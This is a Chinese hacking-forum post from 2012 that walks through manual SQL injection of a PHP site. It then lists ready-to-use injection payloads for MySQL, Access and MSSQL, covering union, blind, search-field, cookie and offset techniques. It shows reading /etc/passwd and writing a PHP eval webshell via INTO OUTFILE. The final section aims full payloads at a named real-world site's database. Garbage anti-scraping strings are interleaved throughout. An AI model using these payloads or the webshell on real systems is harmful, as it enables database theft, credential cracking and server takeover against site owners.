中国网络渗透测试联盟
标题:
手工注入拿下一站
[打印本页]
作者:
admin
时间:
2012-9-23 14:47
标题:
手工注入拿下一站
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
/ l8 s* S- s* g% q; k# O& h" ^
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
% y8 [$ ]0 A' s4 w2 l8 E* F T
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
$ M0 m; H8 s) z7 ?& h5 y( A
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
: d3 t' p# \% u: J
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
9 s3 K, z R3 Y
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
$ Y: L+ Z# N- D! N4 v" S
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
9 S+ z1 z D9 Z+ P" k
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
6 w& Y% R: q4 x+ i4 E( I/ A, O( S
. I* [$ S! l0 i/ ^; x* r7 y
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
2 c, U" B! @8 ^1 G- O! c% b
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
, ~: Q0 U8 v' B( }8 v$ E
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
0 j8 \7 T* q0 g+ L- s
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
J: Z8 g6 H6 L4 z
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
* [- X! m! M( l
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
. [1 j4 Y, T; I& t
我就用的是第二个思路,
* O# s R, ^+ V
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
0 p& I4 I, d1 [: l ~* A- b- G
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
! C3 a. b: n8 g2 e5 j) A
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
. ^' _1 @& f: v- C8 ]
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
# S% k! \! d- }! F
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
4 x( L# a! B* l2 N6 o5 k: w# q8 e1 v* L
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
; k" V+ ~" k* K& ~' U) ^% a
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
- x8 N1 V- d# }+ v1 v U4 V5 ]$ d& `
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
" o0 a1 O6 S5 V# b: S
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
: w' r4 |5 r8 h8 A9 G$ ?
下面是一些很普遍注入方式资料:
* w0 ?, a, R1 n4 w7 G7 r1 Q
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
7 H% O8 ~3 n. O! ^* G1 @: w
拆半法
, D' e$ |- G& |+ k
######################################
. D/ m; N# H- C) f5 J$ c
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
0 } z2 o% l t r
and exists (select * from admin)
. L4 {$ ] t0 z6 ^0 v3 H
and exists(select id from admin)
+ ^3 O8 H: f% T+ a5 W
and exists(select id from admin where id=1)
7 m; H* n! C0 f# [
and exists(select id from admin where id>1)
# _. E: P* t" X- x; e/ }
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
% q2 r; j' U9 M
and exists (select username from admin)
: p3 I/ m& O5 W3 F
and exists (select password from admin)
* K8 m( V1 t: ?% j0 V# q/ `% D
and exists (select id from admin where len(username)<10 and id=1)
+ y/ p9 @6 I8 F3 p' ^7 }; ^3 B
and exists (select id from admin where len(username)>5 and id=1)
# y6 g7 y3 s$ l5 }2 d3 a' Z
and exists (select id from admin where len(username)=6 and id=1)
) ]7 f7 \8 h. g! Y b
and exists (select id from admin where len(password)<10 and id=1)
1 B" O' C5 x+ o
and exists (select id from admin where len(password)>5 and id=1)
/ F+ l- M+ a3 I# w; G$ b5 y# x: `
and exists (select id from admin where len(password)=7 and id=1)
+ T, r9 J7 k% m
and (select top 1 asc(mid(username,1,1)) from admin)=97
/ ?0 [$ E2 M Q
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
: H, i( H6 O+ f( k) M1 @* _/ y' ]0 K
猜第二位把username,1,1改成username,2,1就可以了。
5 l# C6 n# W: M2 X2 c
猜密码把username改成password就OK了
) q4 O0 n5 L8 b2 T" k1 K
##################################################
8 C3 k5 F# s% N4 |" M+ S
搜索型注入
]* T7 w9 s# @# {3 `
##################################
. i6 r* W' ^: y L" q
%' and 1=1 and '%'='
. W) X7 {6 y! w" t/ G( e; N! `
%' and exists (select * from admin) and '%'='
2 h) ?" U F% ^
%' and exists(select id from admin where id=1) and '%'='
2 e3 x% K% I- b3 L
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
8 m$ {- ~6 }. ]: D! e
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
! y7 s& j2 |3 M* {# I
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
~' I6 s; x, x6 u N% K C) o
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
2 P% l; F: D# ~2 W
对于MSSQL数据库,后面可以吧 and '%'='换成--
2 P5 ^1 G1 f: C6 _
还有一点搜索型注入也可以使用union语句。
; x$ |- @1 @& {
########################################################
; D% U7 i' y; e# w7 L: q7 B% q
联合查询。
" [: R! [( G) q Z
#####################################
0 E J' N+ P0 M
order by 10
" U; v$ B) Q; w+ x6 `. ?
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
( C7 E% t% d% F1 y, W
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
7 L; Q4 m) N- G8 W, D3 ~
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
7 ]$ g1 h! |8 H4 d5 b0 J( I- j/ v
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
* i; O9 c9 m* ~1 C
###################################
u+ f7 h& x3 ]1 w" v
cookie注入
3 w( H, _/ ~* w
###############################
$ n+ s* ^+ w- ~4 m5 E: M s
http://www.******.com/shownews.asp?id=127
4 E' E# x% Q3 j, a; y) [3 H: @" q d
http://www.******.com/shownews.asp
. d3 ]' Z8 B+ N
alert(="id="+escape("127"));
* i) [) A' [/ ^
alert(="id="+escape("127 and 1=1"));
+ L( {% Q0 D1 Q; F8 Z8 @
alert(="id="+escape("127 order by 10"));
7 {, M9 ~$ A6 n1 ^, N/ u
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
6 H1 h( p5 F# b# B- a2 T& e V9 J5 y
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
* X/ M( q; F: E9 |; [. X
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
8 ~+ A+ f. M$ H/ R
###################################
9 o% d6 u) f- G! C
偏移注入
4 `/ H8 F! I' j1 ~$ K1 L; J( U
###########################################################
2 O) L9 X) a; _# ~
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
- U3 G# h' u! F
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
- x0 m( g- D/ X; ]
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
; B* o I) [* A" {9 H
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
- w! e/ R8 h8 P
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
1 t+ E: h4 p4 E2 l+ p/ F
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
( g) H3 Z7 ^% q3 i
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
% B9 o: l+ G' _' |! y$ @- B
a.id=d.id)
5 Q! p8 W3 p: C# `" Q/ M7 P
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
4 S% g5 m4 }' q/ d' V, M
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
2 I# Q* N; v" ~$ O, r" i
) e; Y' H+ _& H
============================================================================================================
# {% Z- o1 V4 ` m! |" X
1.判断版本
; _- v7 U5 [ y, ^5 O' c( I
and ord(mid(version(),1,1))>51
% s1 n" G% l8 {$ I3 p
返回正常,说明大于4.0版本,支持ounion查询
2 ?& n# S* T4 d3 p, m k) G
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
& i* w9 r8 q5 g! J* Q( E( O. b; t0 C( V
and 2=4 union select 1,2,3,4,5,6,7,8,9--
" _4 t+ ^+ ]/ P; L+ K. P
3.查看数据库版本及当前用户,
8 h# U# T) e7 n6 [& f
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
+ W- n9 {( v. I Y4 i# U. z
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
6 p8 P0 @* R3 E( l
4.判断有没有写权限
( M: q4 `' x" x: C
and (select count(*) from MySQL.user)>0--
$ Y4 K/ G; s7 K- e' r9 |
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
0 u3 N6 ?; \! f
用不了这个命令,就学习土耳其黑客手法,如下
9 P5 \6 S3 z5 C/ u5 P+ _% G
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
0 ^0 q3 F V2 i( f; Z3 F4 \* O
6.爆表,爆库
- A: o8 }6 ~- x( Y
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
! ^8 a7 ?% l; C; Z8 L1 _
7.爆列名,爆表
. J1 W( a$ M3 ~3 ^- q1 O
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
3 T5 d8 I' E1 z9 E! a* Q
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
: I# A% v- C' u- @
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
1 R. x: N Z4 Z/ n M8 n" c/ z
9.爆字段内容
: n3 D: v# h6 v
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
# k, B4 @6 w u4 @6 q& {
http://www.cert.org.tw/document/
... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
作者:
xiancda
时间:
2012-9-24 21:40
非常好的归纳。坐下慢慢看~
作者:
wuyu
时间:
2012-9-25 18:53
谢谢分享,学习思路啊
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2